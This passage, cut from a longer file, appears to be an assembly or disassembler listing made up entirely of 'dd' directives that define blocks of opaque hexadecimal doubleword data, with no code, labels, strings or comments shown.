7F189D05h, 3E69FC84h, 61E91B60h, 101EF009h, 0CC04E2F8h dd 0B9323D73h, 3CAEB630h, 8F014E1Dh, 2B2A8813h, 0CA2D010h dd 0AAB50215h, 0E70D01F8h, 1D3A7099h, 0D66E30h, 44B3B9ACh dd 92C97271h, 0DE3F40BDh, 0BA42952h, 0B834D8h, 4E3D904h dd 709278AAh, 51154898h, 0AA005D6h, 0E4F44661h, 0A4842E81h dd 49805595h, 0BFA734FAh, 9301311Fh, 0B15F49EEh, 7C200CB7h dd 4AE20047h, 657E100Bh, 7C48BE2Ch, 37097BBAh, 38D2A329h dd 0F3078A20h, 0B9FEC851h, 8471F806h, 0B0943A37h, 16394910h dd 4DD0A06Bh, 4CF005Ch, 0CABD3182h, 9517F6B1h, 48008179h dd 55707B47h, 566600E1h, 0CDD3CA2Fh, 7700EFE6h, 34440F3Fh dd 609DA6C0h, 5BF0101Ch, 0DF0143BBh, 0E686E84Eh, 305031E4h dd 7B05AD7h, 73027A8Ah, 48814B8Ch, 0FA115013h, 71A242C0h dd 0C2C161Dh, 0EA2293C0h, 669794h, 0BE4C61DEh, 768E6D36h dd 693F9E00h, 50D9733Eh, 0D492000Bh, 0CCA6D55Eh, 1D000A61h dd 1655A3ABh, 17F4C45h, 2AC53B5Ch, 600B48B7h, 5239719Ah dd 80FAB843h, 0C086DDEAh, 0F499A11h, 0E359A54Ch, 0E816BD60h dd 3B0C2129h, 50837FCDh, 0A0493DF6h, 61BD4219h, 0C00450BEh dd 10C0C122h, 6B5999B3h, 0A82E004Ah, 0C5AA6840h, 0B2019575h dd 721EBA63h, 53E0ABA5h, 0DE3003F2h, 775DE27Ch, 8DF8B4DBh dd 0EE003227h, 0F071DC43h, 7991D57h, 6590B59Ch, 0E9201039h dd 6C003B66h, 0FE5FFA2Eh, 4AD2EBh, 4B26CF86h, 5A222804h dd 1100DEFAh, 0CD257A3Eh, 17051Eh, 498238C6h, 0DB4D78EBh dd 0B10EAB7Fh, 0E0E06646h, 87B3C992h, 0E4250006h, 0FFBB0586h dd 2300AB9Ch, 8FB7767Ah, 0F849886Ch, 2E9500CFh, 3B82CE2Dh dd 441DAB77h, 2203F01Ch, 0B84DA057h, 6CF7D8h, 8C4AFCEh dd 0F5DC706Fh, 73A1F400h, 748C2D5Eh, 40724Ah, 0A005B261h dd 83FACBC7h, 0A2250D00h, 150174C3h, 944900C1h, 61652BF4h dd 0B800A7FCh, 87CA55C7h, 0A32175h, 0C81AC274h, 0C12E1C8Fh dd 441F6703h, 0DD1BCCh, 0CDDA0920h, 279816B7h, 0BB239D3Ch dd 0FE8700CAh, 0E6CF55Ch, 2F131CD1h, 0AFC48044h, 652D711Dh dd 0C37EB300h, 6FD5D04Dh, 420707C2h, 20B8D950h, 1470CB3Fh dd 44075771h, 824D0C3Ch, 83C81243h, 0B265C815h, 70581CBBh dd 4079DCE8h, 0D2E66A75h, 4A3D5E28h, 39540050h, 1B61EDE4h dd 8D0E0145h, 0E99C49BFh, 705C707Eh, 303A1A00h, 877DF9A7h dd 96F657h, 0F109F7ECh, 0E42CCFFCh, 0DD0044FCh, 0D9361F78h dd 0A05A0E2Ah, 7E564DA3h, 66A00F6h, 0ABCD8F7Bh, 0C50191EEh dd 2C672D5Fh, 86F05623h, 0A9A800A7h, 0F18EBB47h, 0BEF84BD5h dd 9EC3FC0Ah, 0FF01C44Eh, 55ED315Dh, 0F63AD0CFh, 8EA15CCCh dd 49FE8100h, 534101CBh, 0E0DBE201h, 4D2220A4h, 0AB00B457h dd 735D1264h, 0D0520057h, 33DA1BF5h, 0AA01E31Dh, 449FB501h dd 9C4065C9h, 42D770h, 67AA092h, 9956B10Dh, 0F4E0F700h dd 21195D7Dh, 25800320h, 0B150873Ch, 0A8160AA0h, 393B3000h dd 80AE2122h, 9C4B0072h, 19536DD0h, 0D8002832h, 6058C998h dd 0E0A9281h, 8866F571h, 0C2E86B80h, 0B707E2E1h, 436586BAh dd 0D648CDD0h, 123201CEh, 0F98A981Eh, 21D0E72Fh, 0D23D9DB8h dd 9700FEE6h, 0E5C7C88Fh, 2A2C92h, 8B52CEF6h, 0A624864h dd 58EBA806h, 0E0CF1Eh, 0DE9BBC0Dh, 98486FC2h, 94C9E528h dd 0A0518500h, 0E3CCFAD5h, 1A5E033h, 0A1E54204h, 0D40EAE2Ch dd 0D3030C34h, 71E977Fh, 0E06EB015h, 158923Ah, 0CC2C99B5h dd 8019E8EBh, 0EEDD2B20h, 362D30h, 64D834C6h, 0F2C7CEB3h dd 59947300h, 52E3C551h, 99A90023h, 5A882482h, 0FC1E67F5h dd 6280D84Dh, 93350E30h, 0A4D116A9h, 0E2960052h, 76203FE3h dd 8D649400h, 0C497C03Ch, 0FDFB0037h, 2C59AD62h, 0B000666Bh dd 0DF9848Ch, 0CF6719h, 0B1517352h, 32901ADDh, 460BC00Bh dd 1E10EC5h, 292FE93Fh, 391610E4h, 1401ECB6h, 383CF7BDh dd 519880C1h, 229A8D28h, 3F917E30h, 58819003h, 35957B1Fh dd 0C32BC06Dh, 2544DA1Eh dd 7CF63900h, 7989E4Ch, 0B435624h, 9D28109Bh, 0AE1C84ADh dd 0E85C963Bh, 63BB6740h, 26C42Eh, 0DBD55509h, 77F2B6F9h dd 8F0EC305h, 0EF80D7C1h, 0F8A389h, 0BD15EDCFh, 0C0407623h dd 2F64FD0Fh, 0E1C4C061h, 97338Dh, 0E68CF746h, 2689C0B0h dd 871E500h, 0C29CD43Eh, 0FBE3D30h, 395E1700h, 0B101125Ah dd 9E744800h, 6126848Fh, 7FC7B88h, 858BCAA0h, 56C391D3h dd 0B8E74007h, 0A6FE026Dh, 93F0D607h, 0A8809EE8h, 5C89CA83h dd 8E50B18Eh, 903C3D76h, 3D86037Dh, 942B454Dh, 826DB9F8h dd 777AAA00h, 15FE8B4h, 0E566062Ah, 22984767h, 0B3EE6800h dd 488CAF25h, 0AE500F81h, 0F5E29FF8h, 0A8834128h, 7290640Eh dd 0EF03D7BEh, 4C7362D9h, 577DC837h, 5F1A0E67h, 6F60489Fh dd 0D14DE143h, 0DFA29A00h, 0C59078EAh, 0F57C00C4h, 5BF4B9A4h dd 2A0012A9h, 8A633758h, 8403Ch, 48F6B0F0h, 0FF1D233Ah dd 0A2101C01h, 75E735FDh, 0E2F3ACF4h, 383B09C0h, 0D80094E6h dd 0A3917CDAh, 0D7FA5300h, 0B6C8744Eh, 0E971480Fh, 0F2EF3A01h dd 30ED86F3h, 2F000130h, 9E5677FFh, 0BDA5C4h, 1B6D4C3Ch dd 0DEC01C6Ah, 570BD000h, 7602D4DFh, 0F4CE01FFh, 0BC5BED78h dd 5AF7F09Eh, 7BB5871Eh, 48755340h, 2DD034h, 0AF12F3F4h dd 57B2062Ah, 87FD1538h, 6E074466h, 508FA0B0h, 0DAF809h dd 0C8F1AD03h, 38CF2C89h, 0CDB93A00h, 0C7E94ADEh, 19EC00C4h dd 883435B2h, 0C8031C02h, 742177E2h, 0EA5050B9h, 0A79F5C1Eh dd 4C59CF00h, 4D2DB689h, 5F80241Eh, 965C6A81h, 0F8CB2A47h dd 880674h, 0E7FD8646h, 0FEBCF6CCh, 733F1F00h, 6A64F236h dd 0A09804h, 1E455614h, 0F94D2717h, 0D1C30F1Fh, 803FBD1Fh dd 0DB821A84h, 50D0D465h, 989A5h, 0F3B807A7h, 2D6196C8h dd 4667948h, 0A2C2DF55h, 0BBC100FFh, 0A610ED47h, 2FD8B76Eh dd 0F728E3D9h, 0C9D7F0B1h, 9430F3ABh, 329C39F6h, 96EAF8h dd 143135F2h, 0B6F7708Fh, 5882651Eh, 0D985A140h, 18AC9D57h dd 0E436D818h, 0D6743440h, 0E98C8E09h, 0ACBCA087h, 6DEFD1h dd 0B58C1C4h, 4B29B30Ch, 0C48E430h, 334DB2h, 5490C8E2h dd 0E876DC9Eh, 919C650Eh, 0AF320A5h, 0E05048h, 4F5B958Ch dd 0D55D2193h, 0FB004E7Dh, 50DF61A5h, 161D74h, 0B71C462Bh dd 0D7D2E72Fh, 0C11445F0h, 185C25h, 0FCAD1511h, 801D4CA2h dd 1F008B61h, 5BBBF2F5h, 0A8FFD5h, 4FABE4BDh, 0B05160E3h dd 21A2EE00h, 2CE29C38h, 0D2913D5Dh, 1D32BD8Fh, 6CA01CEFh dd 72C984B1h, 0D694CCF9h, 732A1600h, 0A32BFA87h, 1C60E056h dd 0C06F0BDDh, 0B39A49E2h, 29006A41h, 8CEAD22Dh, 5FA1756Ch dd 0CCFC25h, 8D0AA248h, 0B28262h, 0C76D2110h, 0C4F87CEh dd 0EE9F3500h, 86C1A2FBh, 23A10049h, 0F3C2072Bh, 0DF0129B6h dd 0DC6C8EF0h, 6ACC4658h, 0E8FA004Ah, 16A3F108h, 8101718Ch dd 0BD279F7h, 0CAE04E55h, 8540095h, 57682EFEh, 10004C8Ch dd 0C70AD206h, 59EF75h, 61D45567h, 3F98E53Ah, 8D016C75h dd 25607AA9h, 0ACF05B2Fh, 0E73303E4h, 8AE66BBFh, 0B4D17BB0h dd 80875E3Dh, 5FD528D9h, 0E74C93Dh, 64D683E3h, 0D02C75C0h dd 0A4007C71h, 0D8E1BCD9h, 2E5BD756h, 0D757E3h, 0F794CD67h dd 9300F47Ah, 262EA522h, 0FD613Dh, 45893118h, 47D07685h dd 0A1F58C07h, 3F504EC9h, 0FA849B3h, 81E7F744h, 3AC45581h dd 0E11D7017h, 2C848001h, 0BA0D854Bh, 679D7880h, 0FA432A2Eh dd 86B04600h, 0F6109A15h, 705800E4h, 5282F804h, 37016E35h dd 88E8530Bh, 5CE0BCE5h, 56223B6Ch, 9B6FC0E0h, 0B100AAFDh dd 9D8E5511h, 7A37923h, 0EED33FE9h, 258840D5h, 62000BBCh dd 57937F37h, 72F514C5h, 580E044Fh, 80D9B12Ah, 0ACD41A15h dd 35081500h, 0E6A2024Ch, 0F87900FDh, 7A58E54Fh, 5200094Dh dd 8B2D9F7Fh, 383B525h, 754FAFCCh, 2800BC3Ch, 0A97948A5h dd 30B42186h, 0D1089419h, 0AA03FBC9h, 8E15AF32h, 26148016h dd 0EDD20038h, 0B0A67380h, 697C7597h, 2F075276h, 0D815479Dh dd 8D510810h, 0F0AE8C9h, 320BD678h, 607B0FC7h, 60E09AA4h dd 49F47F00h, 52051210h, 0F08E6EAh, 0A813880Dh, 0BC357C81h dd 0D692CC72h, 9480CB03h, 0A8271625h, 863E75h, 0C32D5881h dd 0DC3D1CBCh, 3B9E3100h, 7F985977h, 86F73D8Fh, 0B2686280h dd 8B0C098Ah, 807B993Eh, 0EC3A79E5h, 38E019DBh, 508071DAh dd 0F6D376A9h, 79007AFDh, 70284E9h, 6A05E0h, 0C778121Fh dd 57BD6BFFh, 71ECE507h, 0F820A537h, 0B84F8DC6h, 13CB03A6h dd 6515CDD6h, 40FA1AA0h, 739D700h, 0D1358B96h, 0A626003Ch dd 0B904557Fh, 0D8004E0Dh, 0B5BA274Ah, 0E6C364h, 86E512DEh dd 9F72B747h, 5185E42Ch, 66C00B1Ch, 67BF1143h, 60A600DAh dd 0CD72E5F3h, 0E000A1D6h, 685A30DCh, 0B9243F5h, 0F92FFC55h dd 633D007Dh, 3D463Ah, 0EB1B3162h, 36EAAD89h, 0D8658B00h dd 5FA218E8h, 38FA00BAh, 0F24851FFh, 1A00F724h, 0CFFC3171h dd 0B9149Dh, 6AE934EEh, 65DFBB87h, 0A140D300h, 39842174h dd 71260072h, 22FAE15Dh, 93003E6Bh, 0E5D4806Ch, 1C4F6D9h dd 0B5CBAAF8h, 0C04A923Fh, 0CC1ED32Eh, 0A480839Bh, 0BC76A6BBh dd 4DD500B0h, 6B7A6D8Bh, 18003971h, 2816935Fh, 6A821Bh dd 0ED27E479h, 7379851h, 885C0A02h, 40038BEBh, 3BD01D40h dd 0B40BDC63h, 0D8004225h, 30798D3Bh, 2393Ch, 0A37D62CBh dd 865158h, 3119BF41h, 3FCE2663h, 0B09CEE01h, 0A6FBD6D3h dd 11B4E0h, 5E06C304h, 9C5C60F9h, 9417EC00h, 564DB31h dd 0F2A900Bh, 1A44E333h, 1D288F60h, 1403242Ah, 3D0EFDB7h dd 112C03B5h, 81BD200Ch, 6AFC1D0h, 88BBE300h, 0B83241D7h dd 97BA0093h, 10EC3048h, 3F7E5FD0h, 7C004B76h, 209F15F2h dd 95A4C3h, 2EF41F3Ah, 0B96BD41Bh, 0B5C95C03h, 0AFA22853h dd 7CB64560h, 26220044h, 3ED29DBh, 9602E139h, 0AD577AAFh dd 0FF7448EFh, 0D48D1C45h, 871D8E32h, 0C197DAE0h, 0F0017B9Dh dd 3752EDF2h, 58D024B6h, 7F2E002Fh, 600A09F7h, 0AD004C93h dd 81261ACEh, 0FC58A1Dh, 0BFFDB685h, 24715860h, 2F069D15h dd 70A5FFABh, 0F2C20010h, 53F7CBDCh, 8A00163Bh, 0EBA895F9h dd 7AFEC190h, 61B50050h, 3B677705h, 57008C3Fh, 75177E63h dd 0E4FFACh, 8D15FD8Bh, 66B6554Ah, 0C684DD00h, 0D80BE02Eh dd 1BC13CACh, 165F5D80h, 9B3F74A3h, 0F2AE43Eh, 2C2628h dd 0C570C27Ch, 529079Dh, 1066C74Ah, 22186365h, 0C00647Ch dd 30C3D2EFh, 791ECE2Ah, 7FA21E96h, 34BC006Bh, 2B9BD388h dd 0BD233Bh, 423AC879h, 7727BC5h, 447EF66Dh, 0C12CE4A6h dd 0E0AD83F8h, 41F07F48h, 7200AE77h, 47DBF4BCh, 395AC83Bh dd 0A48309E9h, 0F3B61D65h, 2E6EE1C0h, 0ABA71601h, 0CB77A8D5h dd 0C8CFD4h, 9E64BD32h, 0EC8F9BB2h, 19C9A00h, 37C935FBh dd 0FCE2003Bh, 5F1BBCE8h, 48FCBF27h, 0A3EE938h, 800D6120h dd 99429700h, 2C7E9470h, 0D6F40Eh, 0B22BDF19h, 0A9772A7Bh dd 34967100h, 0E3B66C80h, 40A63ADEh, 0A3E5A800h, 0C28158CDh dd 0EC000BB8h, 7D036782h, 3856F9E7h, 15012DCEh, 68EEEDD5h dd 80CD211Ah, 805AC32Eh, 0DD994Ch, 2E8B278Eh, 92A83DC8h dd 4DFFF300h, 0CD32768Fh, 96EF00EDh, 7EE923E1h, 0B000FAB8h dd 129B7C1Bh, 3C814DA3h, 95063CE3h, 50617BFBh, 9492F50Eh dd 75684046h, 0F8B151h dd 7DF1AF1Ch, 33A51F3Dh, 73A98100h, 0D87ED39Ch, 0B30F3BB9h dd 91FFD480h, 4A2882A7h, 63206F03h, 0B826AFACh, 7F519FB7h dd 0DB3E00BFh, 0D81A051Fh, 7D0477AEh, 0F3A6405Bh, 0BF8CAE80h dd 93D03FFCh, 0C59A0FF9h, 16A30F0Dh, 0A0039FFAh, 3AD696A9h dd 80D4E304h, 0F252D592h, 635D0042h, 788D5388h, 4A000A59h dd 2ED8950Fh, 0EE4EA06h, 7D4BDFAFh, 9A57080h, 4D03A901h dd 5DB2E662h, 9C40E878h, 1426589Fh, 9A47CE00h, 0A7454652h dd 10187409h, 0F3541024h, 0B46A0075h, 0B27E3C3Fh, 9E005D51h dd 2C533630h, 8E9668h, 0E064E5E1h, 0EB5BE7CDh, 0BF5D0500h dd 7FA4B975h, 33D22E19h, 823C0399h, 0F8E8A6B6h, 0CB00D3E1h dd 6E8DD037h, 0D3BBCh, 0C9CD6171h, 184A1729h, 54443400h dd 907508B0h, 0E7210713h, 32C698Ch, 1EB0D6E2h, 8500E07Dh dd 5CE1CC89h, 0FA846FECh, 0C32204EFh, 0C04EBE47h, 0A1E650CCh dd 101A07Ah, 9F8E21B6h, 0EEF084B3h, 1E7FFCADh, 4FD92D7Eh dd 4869A6D5h, 0B1142800h, 2C1FC328h, 9780A4F3h, 2DA4C1Bh dd 0C888008Ch, 697BD03Bh, 79001044h, 2056A192h, 1D6258Eh dd 21FB9196h, 0E5DD8DF3h, 0FD6AEC46h, 9D725106h, 3D4948CFh dd 938009B5h, 0B444BFB8h, 0E13B9FEAh, 6A007B65h, 5F391C4Eh dd 235AA37h, 8391B411h, 55206Eh, 61E2BB20h, 41F200B3h dd 0EC99FE82h, 0DEF8A8C3h, 7C8BEF0Fh, 0A7C48384h, 0F4CFB00Ch dd 0C01B00E0h, 5002E4B8h, 0E00CBA1h, 7CC5ADD4h, 7FF6CE98h dd 1A21006Bh, 9488B191h, 9D00CAD7h, 6373E513h, 1C3BC959h dd 0EB488Fh, 0F32E5B8Ch, 7F033932h, 90B3BE02h, 0E3E5BA3Fh dd 0B69C806Eh, 73C80036h, 6F118A8h, 0FF005FC4h, 0DD4C74F9h dd 32161F5h, 0D0C3E653h, 0B9A340F8h, 43FCA5D0h, 0AE7862E0h dd 5D0F7207h, 2AB0F1C5h, 0EE8C38h, 1C6F537Ah, 6B64BE94h dd 0CF3F8E00h, 0B8C2FFE6h, 47DA00E9h, 466A83BAh, 671C2EA8h dd 28703F5Dh, 335BD0h, 8C732979h, 93CFD3B4h, 0D993000h dd 0DAA2A082h, 0E5A1042Ah, 80A776BAh, 5CEE778Dh, 0BC7AF600h dd 0B0B3285Ah, 0E0EF0088h, 291368C2h, 3000ECE6h, 0D6327CEBh dd 0E2F5241Eh, 7B7259h, 810E846Ah, 8AA75C67h, 51629000h dd 5B2A9F9Ah, 0D8F0016Ch, 0CCE9B7F7h, 0D1819CA5h, 1EB1D900h dd 0C7B39206h, 0A0B4A908h, 0CA34B6B0h, 85DAA700h, 0DFCD31A2h dd 10841D50h, 1742009Ah, 23E21566h, 0C2F08100h, 0D76A5411h dd 307005B1h, 0C3BE9Dh, 87C92634h, 2CC0BB3Ah, 2466AB19h dd 61F0379h, 348F8CDCh, 0E0C42AC1h, 293D339Fh, 0FD7C005Ch dd 9BB1BEF9h, 0B2D9009Eh, 48941844h, 0A01D357h, 0E5E03C06h dd 9E81F72h, 0E1520379h, 66B99508h, 0E97DC8C0h, 832FAC0Fh dd 14EC0794h, 59D55CC0h, 97445898h, 78E15018h, 83393AA7h dd 12103CEEh, 970E5B1Dh, 21998C23h, 0EE8107A9h, 0A0B7576Bh dd 494D42A2h, 63096900h, 4A721A98h, 0B89750F9h, 148300C4h dd 50FDABB9h, 185C0D22h, 0F56F2CDAh, 0BE364300h, 73F6C59Ch dd 86CE2891h, 9869D988h, 4901826h, 4210CEEAh, 792E3123h dd 0EE8AA800h, 9BE48800h, 70416D90h, 257B0075h, 696C6EF8h dd 0C414BB48h, 3D801127h, 0CCD8AA35h, 67365A00h, 2B2E629Ah dd 6A8020F9h, 0AC4F6600h, 0FE9F3774h, 82DF008Eh, 38A98868h dd 3A007548h, 0E9A57E71h, 2A599Ah, 52036DECh, 7C49C06Ah dd 8FEB9E04h, 0FCC0A910h, 58919BB0h, 200C7A1h, 5D7FC1Ah dd 0DA627E36h, 0C06FE608h, 73F29CBh, 0CDD5B49Eh, 5C2FC3D8h dd 3EEFCAA0h, 0E757CC07h, 0F9B005D4h, 3286A21h, 946382B4h dd 60039971h, 3743C5A2h, 36282BE6h, 35BC4004h, 6D0F1DFBh dd 0C03FA955h, 0B7D88956h, 0E520CF0Ch, 772BADC0h, 0DC1852E4h dd 0AA08313Ch, 0FF88C040h, 458FADE3h, 9C8AD60Ah, 24003C49h dd 0C652DB2Eh, 7DF4D1h, 0D58ED6D0h, 80C9BFAFh, 67E74A07h dd 0A7A0C294h, 8C7457C8h, 0D3908870h, 1FACE40Eh, 0F08B864h dd 1741009Ah, 630727F8h, 3E0CFB6Fh, 5235C525h, 0BF2A009Bh dd 0A995F5C8h, 8AE4C66Ch, 8FF03600h, 0D4DF1BE3h, 0D170140h dd 9FE807C5h, 0C230493Ch, 73B2720h, 0B0D30081h, 0F834372Eh dd 0DF002AC7h, 0F7C653E4h, 0C23C98h, 3E97925Ch, 9184B72Eh dd 8E629B7Ah, 1B1C1171h, 95BA07A9h, 1838AD66h, 6D20C5B5h dd 9B0700DEh, 73568323h, 18036CB7h, 3B444B72h, 0B81AC0F9h dd 86F695h, 0EE292CD9h, 0F6573740h, 738DDA01h, 604892D2h dd 6B090880h, 27BA40EFh, 0C17158h, 68B3C0Dh, 0E8D42Fh dd 0CF42D9AAh, 0DF375D73h, 8F0FC802h, 619C6344h, 9C486D1Bh dd 2931F199h, 43A2A418h, 708740Eh, 0C404D28Bh, 0F224414Bh dd 0EAE05A07h, 650C0756h, 13FD4AA8h, 59036029h, 0EB1B1CD5h dd 0EF538140h, 20E80A03h, 69006259h, 0E44D9665h, 40B60E89h dd 0F8054079h, 1BEC31F3h, 0D83C8C44h, 84F64930h, 9238910h dd 880EAC8h, 0D6EEB897h, 0D896016Ah, 0EAD4A8Bh, 4B8EC9C7h dd 424495DCh, 0DDCD00DCh, 8D3ECFBEh, 0E73A0322h, 31D0BB6Ah dd 0F98F9000h, 3B2C84D1h, 0E8605B81h, 62AA000Fh, 4C10866Bh dd 0B4F299h, 0F66F03F1h, 29A61A46h, 9B00027Ch, 19120FC1h dd 0C8C8B877h, 80CC10A0h, 34E82B5Dh, 98203CC0h, 73C2200h dd 3446FC6h, 210905DFh, 40C5FF0Eh, 0C09D47A4h, 0EBEC065Eh dd 0A8A15B0Ah, 2111A8B9h, 0E5F60480h, 0D343BB8Dh, 202D1018h dd 0F6008C99h, 3BC1E50Ah, 0F7654E9h, 0D6FCE217h, 8D29A140h dd 0B27B4EBEh, 0B6BC9A0Fh, 2F86802Eh, 1840D501h, 907884D4h dd 8FF6CE2Dh, 7C908C00h, 976B2563h, 64EAB862h, 0C0DF2042h dd 9C7BF673h, 39E03Ch, 37C4B3A3h, 1F042CFDh, 0A367166h dd 1C00F32h, 84B08374h, 0BDB8CF26h, 9F3E1B5Ch, 30C380C2h dd 7E0F22CFh, 18B63EC8h, 40E91709h, 7604B41Dh, 0A220EE21h dd 3A00A1AEh, 0CDCB7A38h, 48F4E933h, 9F042CC9h, 88FC286Dh dd 7D14A8A4h, 0A01457h, 2BA399A0h, 0F10EB955h, 0E1C34771h dd 8080339Eh, 0A6A2AAD2h, 22E66336h, 0BB605612h, 0E810C42Fh dd 0EAD1C198h, 0D8E7CCC4h, 2605086Bh, 0FE1E44h, 0D01C3E17h dd 0C7F86A1Ah, 9576B714h, 7A0A03D8h, 0E565AD2Dh, 0EB43A807h dd 24914BB4h, 808032BEh, 34AF75E6h, 60506CB3h, 160CF6B5h dd 0B0F8040Ch, 67FE3E8Fh, 1BD4B862h, 81C09A19h, 0F433F7D2h dd 796E87h, 0F3408C62h, 0F614E702h, 48E4B48Ah, 2461E660h dd 0C5900F46h, 0CF3024CEh, 98961024h, 40765DDDh, 0A5CFCC70h dd 6407A97Fh, 1A26B993h, 28C18C9h, 92F300C9h, 4117A5ABh dd 5C0A7A16h, 0E8A633C5h, 0A9A3BBC3h, 18C20955h, 80803959h dd 5BA10024h, 0D2F9C136h, 1C31E934h, 13E0B0EBh, 3A70B4E8h dd 44000C5Ah, 8EF6DF7Fh, 0CF058F57h, 34772A5Fh, 0D983B2C1h dd 0DF55F0h, 0C689ED7Ch, 7B41D356h, 4B00E6E4h, 0BF3C9D2Ch dd 60A60B1h, 2545E4E2h, 0F77F2027h, 1307DEFCh, 9E49976Fh dd 634F087Ch, 7AA12018h, 8D8281C8h, 0A5227900h, 2E5A766Eh dd 261328C0h, 19CF002Ch, 41D73E6Dh, 70B57A9Bh, 0F1AB3CECh dd 0FA2AEA0Ch, 98D35D4Ch, 295B9B00h, 1D939E35h, 0C054D2E3h dd 49641898h, 0FD1813BFh, 0D780369Bh, 0BC7E0094h, 0EC3C3161h dd 9F84296h, 0C3B54400h, 89628BB8h, 6412018Fh, 0EEF49836h dd 0EB80F333h, 6007D29Ch, 0FAECB209h, 4BD77BB0h, 587A60CBh dd 0E5BDDB21h, 89EFE301h dd 8CACBEDFh, 79D3D3h, 0B8D93F20h, 353CB685h, 2A006DEAh dd 3A4C665Bh, 8337F9h, 0F2A94FA2h, 0E1E05085h, 0DBA16714h dd 387226BCh, 0D337D600h, 78CD386Dh, 0AF3500BDh, 97F6C144h dd 7A05CC4Ch, 0E2D596BFh, 0F961D820h, 0B5450049h, 72A95AE9h dd 0A0E8259Ah, 0A49859C0h, 0F6CC020Bh, 0C06B00E0h, 0D152B39h dd 0E33BA0C3h, 9EEC511Ch, 80219058h, 0B54249BAh, 44865CA1h dd 0BF62775h, 90D4CC00h, 465BEF15h, 107D0A6Dh, 0C43EE6h dd 16797AE8h, 70B8B68Ah, 0A9693C00h, 0E33F75ABh, 9D401E25h dd 7C350A71h, 85CD8CDCh, 5130B608h, 3BA88868h, 17B81EB7h dd 8C6E8597h, 2815FB8Dh, 0F833000Ch, 82A0940h, 7537093Ah dd 0BA00C8ACh, 0A37E1C0Dh, 0DFBE6000h, 621FF1D5h, 0E1D8A0ADh dd 43D10013h, 634AE44Eh, 490396FFh, 0AE7808B7h, 0C6A09818h dd 7B390964h, 1848E2h, 9208BDD8h, 608A27E3h, 0D35B341Ah dd 0BB99FE00h, 0B622FA87h, 1507004Fh, 65498BDEh, 0F60095A7h dd 4BEDDC71h, 15B85D0h, 7A6A82FBh, 20DAEC9Dh, 0C30F86C4h dd 20E67E0Bh, 0AB4299EAh, 1DC9082h, 0C9EBF5C6h, 22CB4C3Ch dd 9133B000h, 0F008442h, 0C2B3BBF0h, 3EC1F56h, 4740C9B9h dd 0CDA099C8h, 7F0403A6h, 0DFE4BF2Ah, 91E6CA01h, 3CB092A0h dd 30F71040h, 0C6852Ah, 0BEA53148h, 0B17CC514h, 0BB88570Eh dd 0BF4787A8h, 0B1048A7h, 3EE23683h, 0FA7DA4h, 0AE684C41h dd 0D0CFC490h, 5152F901h, 312CC7D3h, 0BCCB2C50h, 0ECC9102Eh dd 7A6CC6A8h, 81B60020h, 54643E49h, 1A007CDCh, 4E6B718Eh dd 1C2BF940h, 8AD39827h, 6058C6EDh, 0C591BE9Ah, 99B3D421h dd 0C0FB596Dh, 0E9001A83h, 751CD37Ch, 34F4721h, 0B7DAE149h dd 0D6300FFCh, 7C3B1884h, 421901CAh, 0C2443032h, 49A3D7B8h dd 3CF5D029h, 13BE1801h, 6848C4C5h, 0F918872h, 8D228301h dd 705179CBh, 0FA32120h, 499F3DB6h, 13CE9422h, 30784663h dd 4701750Eh, 0F32B405Bh, 2E36237h, 0B81573FDh, 0EB85958Ch dd 10B401ABh, 0FD84445Dh, 5C807F1Eh, 3813FCB8h, 0C860CE98h dd 6E813262h, 79549300h, 0FD9068C6h, 0BF951EC8h, 3E190764h dd 2DCCCE5Ah, 9020DD0h, 0D58FECFDh, 8E2E036h, 5C3100FAh dd 0DFD8DC43h, 0DAEA2052h, 1043C49h, 27663351h, 0D180535Bh dd 0E8846D59h, 6C77F714h, 0FB93BE3Ch, 20700133h, 1F83E07Bh dd 6E33006Fh, 5B4BC7C1h, 954E632h, 0FF02C354h, 539795F5h dd 37A010C7h, 0B89A80h, 0C25941FDh, 983997BEh, 21D4903h dd 0B1F043BBh, 804E23D1h, 52C265C8h, 0DD074026h, 7033007Eh dd 8BE1A501h, 0A7689F9Ch, 0F500C760h, 0D2D1C546h, 68BCA03Ch dd 4A6A2966h, 84A08084h, 6DAF4DC5h, 63102086h, 83CA7E00h dd 0F0D46271h, 0B2F300C2h, 0C73D4BA6h, 94182514h, 6A99600Fh dd 11DF00D2h, 0C0227E09h, 9D3C660Dh, 5E7000DDh, 23A4EE5h dd 81F13F64h, 510068C9h, 1150CFE2h, 6800DB12h, 88786275h dd 0E654887h, 0FC27D314h, 0A053920h, 0EF1DBDD5h, 21835377h dd 0C9AA60h, 0E7DEB110h, 0DD1745C0h, 9D78360Eh, 5E1C80FCh dd 0EB34E9h, 0DCAEA8FFh, 0F859D609h, 662C4202h, 7125DC2h dd 70BC77E0h, 3DE3374Dh, 0D65438C0h, 3C30790Bh, 63187DD0h dd 5D6008AAh, 0A1005378h, 0E1D709DEh, 779D3Bh, 0C0FF16D2h dd 4C6BF081h, 7B68CD00h, 0EB0432C1h, 0CC973EADh, 0EC34B080h dd 46969F2Fh, 0CD4BB500h, 2A3993Ch, 9C620084h, 9305133Dh dd 0F10061ADh, 7DED7E7h, 427DC7h, 0C251C9E0h, 261D156Dh dd 633DD378h, 3B92805Ch, 0AD4C583Ch, 420907C3h, 81813FC8h dd 0F077A9BCh, 61785B53h, 9C7FC00h, 0E7DAC6EBh, 5880C770h dd 212D00D8h, 0C9003E7Eh, 0B607AABBh, 0D2828Dh, 7BF04177h dd 11A3ACB3h, 3D27C600h, 1006ADE3h, 16E6F44Eh, 0C5A05Fh dd 0AA230E48h, 2A009097h, 70925E1Eh, 14F771h, 0D935339Bh dd 0A9795CA2h, 0A0865100h, 0F8846719h, 65010792h, 913C4D8Ch dd 303ADA7Fh, 0C700EA83h, 0DCE3299Bh, 0ECD89455h, 0A8C900D5h dd 0A6F140DBh, 2658CC2Fh, 17D3E5Fh, 1DFD5359h, 78E48BBDh dd 8023004Fh, 639D3FFh, 5A00BBA5h, 3ED94C24h, 1AF6FBAh dd 0CD1D4AFDh, 0C4173B84h, 0CE7E802Ch, 7063F100h, 3C4AC016h dd 0A9E2E4h, 372483E8h, 0B8400279h, 0C23B7000h, 6148F153h dd 7A4301CBh, 6C964630h, 0D3CAFCACh, 0D0802B00h, 0AD8CC2DEh dd 0F7950019h, 3882D416h, 800C89Fh, 5B782FD1h, 180CD6Eh dd 0E1352591h, 0E4ADDE9Eh, 0C801A106h, 0EDF7D786h, 1DF0A284h dd 21350091h, 9DC3B08Dh, 9F007C92h, 0C8EADC56h, 0E36ECDh dd 633778A7h, 0E0A8031Ch, 8FBC4E00h, 5BA56A71h, 4B900783h dd 0C0862DEEh, 0B30653C6h, 4AB2611Eh, 2BD8D100h, 0EF57D9h dd 